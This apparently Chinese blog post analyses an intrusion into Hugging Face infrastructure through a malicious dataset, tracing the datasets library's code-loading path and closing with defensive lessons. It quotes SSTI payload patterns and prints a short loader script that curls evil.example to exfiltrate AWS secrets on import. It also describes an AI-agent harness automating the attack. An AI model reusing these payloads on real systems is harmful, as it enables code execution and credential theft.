【案例分析】Hugging Face生产基础设施入侵攻击分析

一、事件定位

官方原话:攻击者上传了一个恶意数据集(malicious dataset) ,滥用了两条代码执行路径:

"a remote-code dataset loader and a template-injection in a dataset configuration, to run code on a processing worker"

然后在处理 Worker 上执行代码 → 升级到节点级(node-level)权限 → 收割云与集群凭据 → 周末期间横向移动到多个内部集群。整个过程由一套"自主 AI Agent harness"驱动,用了成千上万次操作、跑在大量短生命周期沙盒里,C2 自迁移到公共服务上。

官方确认公共模型/数据集/Spaces 未被篡改,受影响凭据已全部轮换、受损节点已重建、两条代码执行路径已关闭。


二、攻击链具体怎么实现的

复制代码
攻击者
  └─ 上传恶意数据集到 HF Hub(仓库里同时埋了两颗雷)
       ├─ 雷A:自定义加载脚本(remote-code loader)
       └─ 雷B:精心构造的数据集配置(template injection)
            │
            ▼
HF 后端"处理 Worker"(datasets-server / 数据集预览构建器)
  自动处理新数据集 → 以 trust_remote_code 加载 + 渲染配置
            │  (两条路径任一命中即 RCE)
            ▼
在 Worker 进程内拿到代码执行
            │
            ▼
Worker 带着节点权限运行 → 读环境变量 / 云元数据服务(IMDS) / kubeconfig / 集群 SA token
            │
            ▼
收割云凭据 + 集群凭据 → 容器逃逸/节点提权 → 周末横向移动多个内部集群

关键点是:不是某个文件有 bug,而是"可执行 Loader + 配置模板 + 高权限处理 Worker"被放在了同一条信任链上

AI 只是把既有边界缺陷以更高速度放大了。


三、分析远程代码加载器权限验证机制

这是个常见误解。准确说法是:库层面有gate,但这次破的是"信任边界"

1)对用户/调用方:是有权限开关的

datasets 库的 load_dataset() 默认拒绝执行仓库里的自定义脚本。你必须在代码里显式写:

复制代码
from datasets import load_dataset
ds = load_dataset("attacker/evil-dataset", trust_remote_code=True)  # ← 这个开关

不加 trust_remote_code=True,库会直接抛 ValueError: The repository contains custom code which must be executed...

这个安全门是 2022 年后才加的。所以"不需要权限"是错的------调用方必须主动说"我信这个仓库的代码"。

2)真正的破绽在 HF 自己的基础设施

HF后端为了给每个数据集自动生成预览/构建viewer,会自动trust_remote_code去加载并处理第三方上传的数据集。

也就是说:

  • 平台自己把"信任"授予了每一个上传的数据集;
  • 而且是在高权限的处理 Worker 上跑,不是隔离的沙箱;
  • 攻击者不需要骗某个具体用户去点 trust_remote_code,只要上传数据集,HF 的流水线就替他点了。

3)对用户侧的"不需要权限"的另一层含义

即便你是普通用户、自己写了 trust_remote_code=True,这个开关也没有任何沙箱/审查 ------一旦打开,仓库里的任何 Python 代码都以你的完整进程权限运行。它只是你"知情同意"的免责声明,不是操作系统层面的权限校验。

这就是典型的供应链 RCE:你信任的不是一个数据集,而是仓库作者能执行的任意代码。


四、配置模板注入(template injection)的原理

官方确认的是 "a template-injection in a dataset configuration "------即注入点发生在数据集的配置/元数据 里,而不是加载脚本。原理是标准的 SSTI(服务端模板注入)/ 格式化字符串注入

通用原理 :当应用把"用户可控的输入"当作模板去渲染/求值,而不是当作纯数据时,用户就能嵌入模板表达式,让引擎替他执行代码。

  • Jinja2 类:{``{ ''.__class__.__mro__[1].__subclasses__() }} → 顺着 Python 对象链摸到 os/subprocess → RCE
  • str.format 类:"{0.__init__.__globals__[os].system('...')}" → 同样可达危险对象
  • Shell/命令拼接类:配置值里带 ;$()| 等,被拼进命令行执行。

映射到 HF 数据集配置 :数据集仓库有一套配置/元数据(README.md 的 YAML 头、dataset_infos.json、config 名称等)。HF 后端处理流水线读取这些配置,并在某一步把配置里的值通过模板/格式化渲染 (例如用来拼加载命令、构造 viewer 查询、或渲染页面)。如果某个配置字段(如 config 名、描述、路径)里被塞了模板表达式,且后端没有把它当纯字符串处理,那个表达式就在 Worker 上被求值 → 代码/命令执行。

为什么它是"第二条独立路径": 它和 remote-code loader 是两个互不依赖的 RCE 入口。封堵其中一条不够,必须两条都关(HF 通报里说"the dataset code-execution paths used for initial access are closed",用的是复数 paths)。

⚠️ 注:HF 至今未公开 具体是哪个配置字段、用的是什么模板引擎(Jinja2 / .format / 其他)。上面是"原理层"的标准解释 + 对事件结构的对齐,不是官方披露的实现细节。


五、这次事件给的防御启示

5.1 处理不可信内容必须沙箱化:任何自动执行第三方数据集/模型代码的后端,都该在受限沙箱(无云凭据、无内部网络、短生命周期)里跑。

5.2 最小权限 + 凭据隔离:处理 Worker 不该能读到云 IMDS、kubeconfig、集群 SA token。云凭据应走短期令牌 + 实例角色 + IMDSv2 防护,不让 Worker 直接拿长驻凭据。

5.3 集群间网络隔离:横向移动能跨"多个内部集群",说明东西向网络没做够隔离。

5.4 两条路径都要关:remote-code 默认关、配置渲染严格当数据不求值。

顺带一个事件花絮(非技术问题):HF 的 IR 团队最初想用某美国商业前沿大模型 API 分析 1.7 万条攻击日志,结果该模型因安全策略拒答 (把事件响应误判成攻击);他们改在自己的基础设施上部署开源的 GLM 5.2,几小时内完成了取证。

补充一 datasets源码级加载流程

加载器本身是有权限限制的。datasets 在 resolve_trust_remote_code() 里会检查------只要仓库带了自定义脚本且没设定 trust_remote_code=True,直接 raise ValueError,绝不执行。

但这道"门"本质是知情同意开关,不是沙箱。一旦把它设成 True,脚本就在调用进程的完整权限下运行,且执行发生在 import 那一刻------甚至在你调用 .as_dataset() 之前。

所以HF 这次失守,不是门没了,而是它的后端流水线对每一个第三方数据集自动把门打开,且跑在高权限 Worker 上。

复制代码
load_dataset("org/evil", trust_remote_code=...)          # ① 入口
        │
        ▼
get_dataset_builder(...)                                  # ② 选工厂
        │  仓库带加载脚本 → HubDatasetModuleFactoryWithScript
        ▼
HubDatasetModuleFactoryWithScript.get_module()           # ③ 装配模块
   ├─ resolve_trust_remote_code(trust_remote_code, ...)   #   [门控] 无 True 则 raise
   ├─ init_dynamic_modules(...)                            #   建临时可导入包,不污染 site-packages
   ├─ hf_hub_download(repo_id, filename=<script>,          #   从 Hub 下载脚本到本地缓存
   │                   repo_type="dataset", revision=...)
   ├─ _get_importable_file_path / _create_importable_file #   把脚本写进动态模块目录
   │     + get_imports(...)                                #   重写脚本内部 import 使其可解析
   └─ return DatasetModule(module_path=<动态导入路径>,
                            hash=<文件哈希>, builder_kwargs=...)
        │
        ▼
get_dataset_builder_class(dataset_module)
        │
        ▼
import_main_class(module_path)                            # ④ 导入 = 执行(关键!)
   └─ importlib.import_module(module_path)  ← 运行脚本【顶层全部代码】
        │  扫出 DatasetBuilder 子类返回
        ▼
builder = builder_cls(cache_dir=..., **builder_kwargs)    # ⑤ 实例化
builder.download_and_prepare(...)                         # ⑥ 生成(第二批执行点)
   ├─ _split_generators(download_manager)                 #   列数据文件
   └─ _generate_examples(**split_args)   ← 运行脚本【函数体代码】
        │
        ▼
return Dataset / DatasetDict

其中,import_main_class 就是"导入即执行"的命门

python 复制代码
def import_main_class(module_path) -> Optional[type[DatasetBuilder]]:
    """Import a module at module_path and return its main class: a DatasetBuilder"""
    module = importlib.import_module(module_path)   # ← 这一行就执行了脚本顶层所有代码
    # Find the main class in our imported module
    module_main_cls = None
    for name, obj in module.__dict__.items():
        if inspect.isclass(obj) and issubclass(obj, DatasetBuilder):
            if inspect.isabstract(obj):
                continue
            module_main_cls = obj
            ...
    return module_main_cls

所以攻击者的恶意逻辑写在脚本顶层, import的瞬间就已经跑起来了。

另一条路(配置模板注入)对应抓的 create_builder_configs_from_metadata_configs

python 复制代码
def create_builder_configs_from_metadata_configs(module_path, metadata_configs, ...):
    builder_cls = import_main_class(module_path)
    ...
    for config_name, config_params in metadata_configs.items():   # ← README.md 的 `configs` YAML
        ...
        builder_configs.append(builder_config_cls(name=config_name, data_files=..., **{...}))

它把数据集 README.md 的 YAML configs 字段解析成 BuilderConfig

这就解释了为什么配置也能成为第二执行路径 :HF 后端在渲染/使用这些 config 值时若经由模板/格式化求值,控制 config 的人就能注入表达式:无需加载脚本、无需 trust_remote_code。这也是官方说"两条独立路径、必须都关"的原因。

一个最小恶意脚本(仅用于理解"import=RCE")

python 复制代码
# evil_dataset.py  ------ 作为数据集仓库的加载脚本上传
import os, subprocess
# ↓↓↓ 顶层代码,import 这一刻就执行 ↓↓↓
subprocess.run(
    ["curl", "-s", "https://evil.example/exfil?k=" + os.environ.get("AWS_SECRET_ACCESS_KEY", "")],
    shell=False,
)
from datasets import DatasetBuilder

class EvilDatasetBuilder(DatasetBuilder):
    def _generate_examples(self, **kw):
        yield 0, {"x": 1}   # 真正的数据逻辑可以是无害的"掩护"
相关推荐
andxe5 小时前
安科士 AndXe 技术博客:400G QSFP112 SR4 光模块|AI 算力与超算短距互联最优方案
网络·人工智能·光模块·光通信
shiyi.十一6 小时前
第2章:应用层 — 知识要点与架构
网络·计算机网络·架构
DFT计算杂谈7 小时前
无 Root 权限在 Tesla K80 零门槛部署 DeepSeek 大模型
linux·服务器·网络·数据库·机器学习
水境传感 李兆栋7 小时前
GNSS 位移监测站 :毫米级感知,筑牢安全监测防线
网络
九硕智慧建筑一体化厂家7 小时前
直流智能照明|一站式低碳照明解决方案,安全、节能、降本、全场景适配
安全
中微极客9 小时前
2026主流AI Agent框架技术选型与性能对比
运维·网络·人工智能
小程故事多_8012 小时前
算力工厂与安全沙箱,企业AI规模化落地的两条核心生命线
人工智能·安全
猿的天空13 小时前
机器人双手迎来全栈训练系统:灵初智能EgoSteer让灵巧手无所不能
网络·人工智能·计算机·ai·程序员·机器人·编程
Xzaveir_77713 小时前
OPPO、vivo、荣耀号码认证:多终端拨测矩阵与异常复现
大数据·网络·科技·矩阵·产品经理·ai-native
wuqingshun31415913 小时前
从网络角度来看,用户从输入网址到网页显示,期间发生了什么?
网络